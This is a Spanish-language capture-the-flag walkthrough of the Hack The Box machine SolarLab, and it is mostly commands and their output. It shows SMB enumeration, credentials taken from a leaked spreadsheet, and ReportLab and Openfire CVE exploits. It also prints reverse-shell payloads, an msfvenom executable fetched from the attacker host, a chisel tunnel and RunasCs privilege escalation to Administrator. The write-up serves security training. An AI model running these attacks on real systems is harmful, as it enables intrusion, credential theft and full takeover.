nmap

```
nmap -sC -sV 10.10.11.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 20:24 EDT
Nmap scan report for 10.10.11.16
Host is up (0.12s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
80/tcp  open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-05-16T00:24:33
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.87 seconds

#Probamos con otro escaneo.
sudo nmap -sC -sV -O -A -oA 10.10.11.16_solarlab 10.10.11.16 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 20:50 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating NSE at 20:50
Completed NSE at 20:50, 0.00s elapsed
Initiating Ping Scan at 20:50
Scanning 10.10.11.16 [4 ports]
Completed Ping Scan at 20:50, 0.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:50
Completed Parallel DNS resolution of 1 host. at 20:50, 0.01s elapsed
Initiating SYN Stealth Scan at 20:50
Scanning 10.10.11.16 [1000 ports]
Discovered open port 139/tcp on 10.10.11.16
Discovered open port 135/tcp on 10.10.11.16
Discovered open port 445/tcp on 10.10.11.16
Discovered open port 80/tcp on 10.10.11.16
Completed SYN Stealth Scan at 20:50, 7.46s elapsed (1000 total ports)
Initiating Service scan at 20:50
Scanning 4 services on 10.10.11.16
Completed Service scan at 20:50, 12.79s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 10.10.11.16
Retrying OS detection (try #2) against 10.10.11.16
Initiating Traceroute at 20:50
Completed Traceroute at 20:50, 0.14s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 20:50
Completed Parallel DNS resolution of 2 hosts. at 20:50, 0.02s elapsed
NSE: Script scanning 10.10.11.16.
Initiating NSE at 20:50
Completed NSE at 20:51, 40.08s elapsed
Initiating NSE at 20:51
Completed NSE at 20:51, 0.49s elapsed
Initiating NSE at 20:51
Completed NSE at 20:51, 0.00s elapsed
Nmap scan report for 10.10.11.16
Host is up (0.12s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
80/tcp  open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
```

```
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -3s
| smb2-time:
|   date: 2024-05-16T00:50:44
|_  start_date: N/A

TRACEROUTE (using port 139/tcp)
HOP RTT       ADDRESS
1   117.66 ms 10.10.14.1
2   117.90 ms 10.10.11.16

NSE: Script Post-scanning.
Initiating NSE at 20:51
Completed NSE at 20:51, 0.00s elapsed
Initiating NSE at 20:51
Completed NSE at 20:51, 0.00s elapsed
Initiating NSE at 20:51
Completed NSE at 20:51, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.92 seconds
           Raw packets sent: 2089 (95.600KB) | Rcvd: 38 (2.256KB)
```

#Realizamos otro escaneo a todos los puertos.

```
sudo nmap -sC -sV -O -A -oA 10.10.11.16_solarlab 10.10.11.16 -p 1-10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 21:58 EDT
Nmap scan report for solarlab.htb (10.10.11.16)
Host is up (0.12s latency).
Not shown: 9995 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: SolarLab Instant Messenger
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-05-16T01:59:17
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   118.44 ms 10.10.14.1
2   118.46 ms solarlab.htb (10.10.11.16)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.50 seconds
```

#Nos dirigimos a http://report.solarlab.htb:6791/.
#Vemos un panel de login.

crackmapexec

```
crackmapexec smb solarlab.htb -u Guest -p "" --shares
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing WINRM protocol database
[*] Initializing MSSQL protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing SSH protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         solarlab.htb    445    SOLARLAB         [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         solarlab.htb    445    SOLARLAB         [+] solarlab\Guest:
SMB         solarlab.htb    445    SOLARLAB         [+] Enumerated shares
SMB         solarlab.htb    445    SOLARLAB         Share           Permissions     Remark
SMB         solarlab.htb    445    SOLARLAB         -----           -----------     ------
SMB         solarlab.htb    445    SOLARLAB         ADMIN$                          Remote Admin
SMB         solarlab.htb    445    SOLARLAB         C$                              Default share
SMB         solarlab.htb    445    SOLARLAB         Documents       READ
SMB         solarlab.htb    445    SOLARLAB         IPC$            READ            Remote IPC


#Descargamos los ficheros del recuerso comartido.
smbclient //solarlab.htb/Documents -U Guest
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Fri Apr 26 10:47:14 2024
  ..                                 DR        0  Fri Apr 26 10:47:14 2024
  concepts                            D        0  Fri Apr 26 10:41:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 05:54:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 07:27:21 2023
  My Music                        DHSrn        0  Thu Nov 16 14:36:51 2023
  My Pictures                     DHSrn        0  Thu Nov 16 14:36:51 2023
  My Videos                       DHSrn        0  Thu Nov 16 14:36:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 05:35:57 2023

                7779839 blocks of size 4096. 1892680 blocks available
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (26.6 KiloBytes/sec) (average 26.6 KiloBytes/sec)
smb: \> get old_leave_request_form.docx
getting file \old_leave_request_form.docx of size 37194 as old_leave_request_form.docx (61.5 KiloBytes/sec) (average 46.1 KiloBytes/sec)
smb: \> cd concepts
smb: \concepts\> dir
  .                                   D        0  Fri Apr 26 10:41:57 2024
  ..                                  D        0  Fri Apr 26 10:41:57 2024
  Training-Request-Form.docx          A   161337  Fri Nov 17 05:46:57 2023
  Travel-Request-Sample.docx          A    30953  Fri Nov 17 05:36:54 2023

                7779839 blocks of size 4096. 1892680 blocks available
smb: \concepts\> get Training-Request-Form.docx
getting file \concepts\Training-Request-Form.docx of size 161337 as Training-Request-Form.docx (258.7 KiloBytes/sec) (average 123.6 KiloBytes/sec)
smb: \concepts\> get Travel-Request-Sample.docx
getting file \concepts\Travel-Request-Sample.docx of size 30953 as Travel-Request-Sample.docx (63.8 KiloBytes/sec) (average 110.4 KiloBytes/sec)
smb: \concepts\>

#Examinamos el xlsm.
```

Password File							
Alexander's SSN		123-23-5424					
Claudia's SSN		820-378-3984					
Blake's SSN		739-1846-436					
Site	Account#	Username	Password	Security Question	Answer	Email	Other information
Amazon.com	101-333	Alexander.knight@gmail.com	al;ksdhfewoiuh	What was your mother's maiden name?	Blue	Alexander.knight@gmail.com	
Pefcu	A233J	KAlexander	dkjafblkjadsfgl	What was your high school mascot	Pine Tree	Alexander.knight@gmail.com	

Password File							
Chase		Alexander.knight@gmail.com	d398sadsknr390	What was the name of your first pet?	corvette	Claudia.springer@gmail.com	
Fidelity		blake.byte	ThisCanB3typedeasily1@	What was your mother's maiden name?	Helena	blake@purdue.edu	
Signa		AlexanderK	danenacia9234n	What was your mother's maiden name?	Poppyseed muffins	Alexander.knight@gmail.com	account number: 1925-47218-30
		ClaudiaS	dadsfawe9dafkn	What was your mother's maiden name?	yellow crayon	Claudia.springer@gmail.com	account number: 3872-03498-45
Comcast	JHG3434						
Vectren	YUIO576						
Verizon	1111-5555-33						

```
#Guardamos la contraseña del usuario blake.byte
echo "ThisCanB3typedeasily1@" > pass.txt

user → blake.byte
passwd →  ThisCanB3typedeasily1@

#Podemos obtener información valiosa con crackmapexec.
crackmapexec smb solarlab.htb -u anonymous -p '' --rid-brute
SMB         solarlab.htb    445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         solarlab.htb    445    SOLARLAB         [+] solarlab\anonymous:
SMB         solarlab.htb    445    SOLARLAB         [+] Brute forcing RIDs
SMB         solarlab.htb    445    SOLARLAB         500: SOLARLAB\Administrator (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         501: SOLARLAB\Guest (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         513: SOLARLAB\None (SidTypeGroup)
SMB         solarlab.htb    445    SOLARLAB         1000: SOLARLAB\blake (SidTypeUser)
SMB         solarlab.htb    445    SOLARLAB         1001: SOLARLAB\openfire (SidTypeUser)



crackmapexec smb solarlab.htb -u blake -p pass.txt

[*] completed: 100.00% (1/1)
SMB         solarlab.htb    445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         solarlab.htb    445    SOLARLAB         [+] solarlab\blake:ThisCanB3typedeasily1@

#Hacemos login, en el puerto 6791.
#Con las credencilaes:

user → blakeb
passwd → ThisCanB3typedeasily1@
```

#Si nos dirigimos a http://report.solarlab.htb:6791/trainingRequest, podremos observar un cuado para subir una firma.

Después de buscar un poco en Google sobre cómo obtener la ejecución remota de código en ReportLabs, me topé con documentación sobre una prueba de concepto CVE pública (CVE-2023–33733).

Básicamente, debido a que no hay suficientes comprobaciones en la función 'rl_safe_eval', podemos inyectar código malicioso en un archivo HTML. Posteriormente, este archivo se convierte a PDF mediante un software que se basa en la biblioteca ReportLab. La parte complicada es que todo el código malicioso debe ejecutarse con eval en una sola expresión.

Ahora, sigamos adelante y generemos un PDF haciendo clic en "Solicitud de capacitación".

user.txt

#Start a listener with rlrwap.

```
rlwrap -cAr nc -lvnp 6565
```

#Generaremoos un rev_shell con el formato “Powershell #3base64 payload”.
#En https://www.revshells.com/.

```
powershell -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
```

#También podemos automatizar este proceso con un script en python3.
https://github.com/saoGITo/HTB_SolarLab/blob/main/HTB_SolarLab_poc.py

```
python3 script.py 10.10.14.203 4444
[+] Creating payload..
[+] Get Reverse Shell!!
```

```
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.203] from (UNKNOWN) [10.10.11.16] 57975
whoami
solarlab\blake
PS C:\Users\blake\Documents\app>
```

#Creamos el rev_shell.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.203 LPORT=6464 -a x64 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
```

```
PS C:\Users\blake\Documents> curl 10.10.14.203/shell.exe -o shell.exe
PS C:\Users\blake\Documents> dir


    Directory: C:\Users\blake\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/2/2024   6:25 PM                app
-a----         5/17/2024   3:14 AM           7168 shell.exe
-a----          5/4/2024   7:20 PM            243 start-app.bat
```

#Iniciamos msfconsole.

msfconsole

```
msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor


      .~+P``````-o+:.                                      -o+:.
.+oooyysyyssyyssyddh++os-`````                        ```````````````          `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
                                `...............`              `...-/////...`


                                  .::::::::::-.                     .::::::-
                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
                                 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
                                  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
                                   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
          /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
          -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
          .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================

                     Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                        Press SPACE BAR to continue



       =[ metasploit v6.4.5-dev                           ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > dir
[*] exec: dir

10.10.11.16_solarlab.gnmap  10.129.60.6_solarlab.gnmap  Training-Request-Form.docx  ip.txt    script.py
10.10.11.16_solarlab.nmap   10.129.60.6_solarlab.nmap   Travel-Request-Sample.docx  pass.txt  shell.exe
10.10.11.16_solarlab.xml    10.129.60.6_solarlab.xml    details-file.xlsx           poc.py
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 6464
lport => 6464
msf6 exploit(multi/handler) > show options

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  6464             yes       The listen port


Exploit target:
```

```
   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 10.10.14.203
lhost => 10.10.14.203
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.203:6464
[*] Command shell session 1 opened (10.10.14.203:6464 -> 10.10.11.16:50147) at 2024-05-16 20:16:39 -0400


Shell Banner:
Microsoft Windows [Version 10.0.19045.4355]
-----


C:\Users\blake\Documents>whoami
whoami
solarlab\blake

C:\Users\blake\Documents>

#Capturamos la sesión.
#Iniciamos chisel para investigar el puerto 9898.

#En la máquina víctima:
C:\Users\blake\Documents\app\instance>.\chisel.exe client 10.10.14.203:6150 R:9091:127.0.0.1:9091
.\chisel.exe client 10.10.14.203:6150 R:9090:127.0.0.1:9090
2024/05/18 01:07:36 client: Connecting to ws://10.10.14.203:6150
2024/05/18 01:07:37 client: Connected (Latency 124.6887ms)

#En localhost:
./chisel server --host 10.10.14.203 -p 6150 --reverse
2024/05/17 18:07:00 server: Reverse tunnelling enabled
2024/05/17 18:07:00 server: Fingerprint wmpV1qSCLJvutVrST9Mm+0WqeMEYPKmNy/GMlggCjUY=
2024/05/17 18:07:00 server: Listening on http://10.10.14.203:6150
2024/05/17 18:07:37 server: session#1: tun: proxy#R:9091=>9091: Listening

#Nos conectamos a la web.
http://localhost:9090/login.jsp?url=%2Findex.jsp

PS C:\Users\blake\Documents\app\instance> type users.db
SQLite format 3@  .j?
?!!??+?9tableuseruserCREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(50) NOT NULL,
        password VARCHAR(100) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
)';indexsqlite_autoindex_user_1user
????!)alexanderkHotP!fireguard'claudias007poiuytrewq 9blakebThisCanB3typedeasily1@
????!alexanderk
               claudias          blakeb

#Vemos unas credenciles, las guardaremos un un fichero.
cat users.txt
alexanderk:HotP!fireguard
claudias:007poiuytrewq
blakeb:ThisCanB3typedeasily1@
```

CVE-2023-32315

#Observamos la versión del Openfire, encontramos esa vulnerabilidad: (Openfire, Version: 4.7.4)
https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce

#Utilizaremos este POC.
CVE-2023-32315

Openfire Console Authentication Bypass Vulnerability with RCE plugin
Setup

```
git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt
```

Usage

```
python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt
```

Step

    Run exploit
    login with newly added user
    goto tab plugin > upload plugin openfire-management-tool-plugin.jar
    goto tab server > server settings > Management tool
    Access websehll with password "123"

```
python3 CVE-2023-32315.py -t http://localhost:9090


 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝

Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!

[..] Checking target: http://localhost:9090
Successfully retrieved JSESSIONID: node01w053kigg4rwo1pa7tq4b8b4dc1.node0 + csrf: Fb4nqynFAxAo5Re
User added successfully: url: http://localhost:9090 username: nju5a4 password: k43n89
```

#Cuando subamos el plugin .jar, veremos la pass.

	Description	Version	Author	Restart	Delete		
	Management Tool		pass 123	0.0.0	author		

#Nos dirigimos a: http://localhost:9090/plugins/openfire-management-tool-plugin/cmd.jsp.
#Introducimos la pass: 123

root.txt

```
#Buscamosusuarios en el sistema.
PS C:\Users\blake\Documents\app\instance> Get-Localuser

Name               Enabled Description
----               ------- -----------
Administrator      True    Built-in account for administering the computer/domain
blake              True
DefaultAccount     False   A user account managed by the system.
Guest              True    Built-in account for guest access to the computer/domain
openfire           True
WDAGUtilityAccount False   A user account managed and used by the system for Windows Defender Application Guard scen...
```

El usuario Alexander y Claudias, no son usuarios del sistema.
El usuario "Openfire", está ejecutando servicios.

```
#Buscaremos que servicios, se están ejecutando con el comando ps.
PS C:\Users\blake\Documents\app\instance> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    135       7     2004       7352              4764   0 AggregatorHost
     80       5     2240       3836       0.00   1320   0 cmd
     84       5     2496       2624       0.09   2072   0 cmd
     80       5     2244       1780       0.02   4880   0 cmd
     80       5     2248       3848       0.02   4996   0 cmd
    109       7     6228       2152               644   0 conhost
    109       7     6224       2296              2332   0 conhost
    141       9     3352       1924              4248   0 conhost
    150       9     6552       5456      17.38   5104   0 conhost
    108       7     6232       2072              5612   0 conhost
    597      23     1852       5580               416   0 csrss
    177      14     1528       5000               528   1 csrss
    267      14     3884      14300              3520   0 dllhost
    688      28    23660      47136              1016   1 dwm
     36       5     1460       3852               804   0 fontdrvhost
     36       5     1452       3828               808   1 fontdrvhost
      0       0       60          8                 0   0 Idle
    682      37    18308      66428               768   1 LogonUI
   1081      23     5464      16676               676   0 lsass
      0       0      184       5736              1528   0 Memory Compression
    230      13     2920      10784              3912   0 msdtc
    123       7      972       4008              3352   0 nc64
    129       7     1008       3116              4508   0 nc64
    153       9     1548       1984              5348   0 nginx
    581     304     4716       4704              5616   0 nginx
    102       7     1276       5264              2988   0 openfire-service
    925      85   401324     262460              3120   0 openfire-service

    #Con RunasCs, trataremos de escalar privilegios.
    https://github.com/antonioCoco/RunasCs?source=post_page-----634ba87009d0--------------------------------

    #Ahora, tendremos que subir el nc64.exe a un directorio en el que "blake" y "openfire", tengan permisos.
    #Crearemos la carpeta en \tmp en C:\.
    #Con wget, subimos el fichero nc.

    PS C:\Users\blake\Documents> wget 10.10.14.203/nc64.exe -o nc64.exe
PS C:\Users\blake\Documents> dir


    Directory: C:\Users\blake\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/2/2024   6:25 PM                app
-a----         5/18/2024  11:58 PM          45272 nc64.exe
-a----         5/18/2024  11:53 PM          51712 RunasCs.exe
-a----         5/18/2024  11:23 PM           7168 shell.exe
-a----          5/4/2024   7:20 PM            243 start-app.bat


#Nos dirigimos a /tmp.
PS C:\> cd tmp
PS C:\tmp> dir


    Directory: C:\tmp
```

```
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/18/2024  10:14 PM          45272 nc64.exe
-a----         5/18/2024  10:12 PM          51712 RunasCs.exe


PS C:\tmp> .\RunasCs.exe openfire HotP!fireguard "C:\tmp\nc64.exe 10.10.14.203 4445 -e powershell"
```

```
sudo rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.203] from (UNKNOWN) [10.10.11.16] 55121
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami
whoami
solarlab\openfire

#Nos dirigimos al "Progrma Files".
#Nos encontramos con un directorio llamado “openfire”.


    Directory: C:\Program Files\Openfire\embedded-db


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/18/2024   9:59 PM                openfire.tmp
-a----         5/18/2024   9:59 PM              0 openfire.lck
-a----         5/18/2024   9:59 PM            161 openfire.log
-a----         5/18/2024   9:59 PM            106 openfire.properties
-a----          5/7/2024   9:15 PM          16161 openfire.script

#En el fichero "openfire.script", encontramos las credenciales del usuario admin.

axLifetime','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.auth.className','org.jive


NSERT INTO OFPROPERTY VALUES('xmpp.socket.ssl.active','true',0,NULL)
INSERT INTO OFVERSION VALUES('openfire',34)
INSERT INTO OFSECURITYAUDITLOG VALUES(1,'admin',1700223751042,'Successful admin console login attempt','solarlab.htb','The user logged in successfully to the admin console from address 127.0.0.1. ')
INSERT INTO OFSECURITYAUDITLOG VALUES(2,'admin',1700223756534,'ed

becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')

user → admin
key → hGXiFzsKaAeYLjn (key)
passwd →  becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 (encypetd_pass)
```

decrypt

#Para desencryptar la passws, nos vamos a https://github.com/c0rdis/openfire_decrypt?source=post_page-----634ba87009d0--------------------------------.
#Descargamos el openfire-decryptor. https://github.com/c0rdis/openfire_decrypt.git.

user → admin
key → hGXiFzsKaAeYLjn (key)
passwd → becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 (encypetd_pass)

```
java OpenFireDecryptPass.java becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
```

#Ya tenemos la pass, del usuario admin.

user → admin
passwd → ThisPasswordShouldDo!@

#De nuevo, ejecutaremos RunasCs.exe.

```
PS C:\tmp> .\RunasCs.exe Administrator ThisPasswordShouldDo!@ "C:\tmp\nc64.exe 10.10.14.203 4446 -e powershell"
```

#En local, capturamos la sesión, y somos administradores.

```
nc -nlvp 4446
listening on [any] 4446 ...
connect to [10.10.14.203] from (UNKNOWN) [10.10.11.16] 59929
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami
whoami
solarlab\administrator
```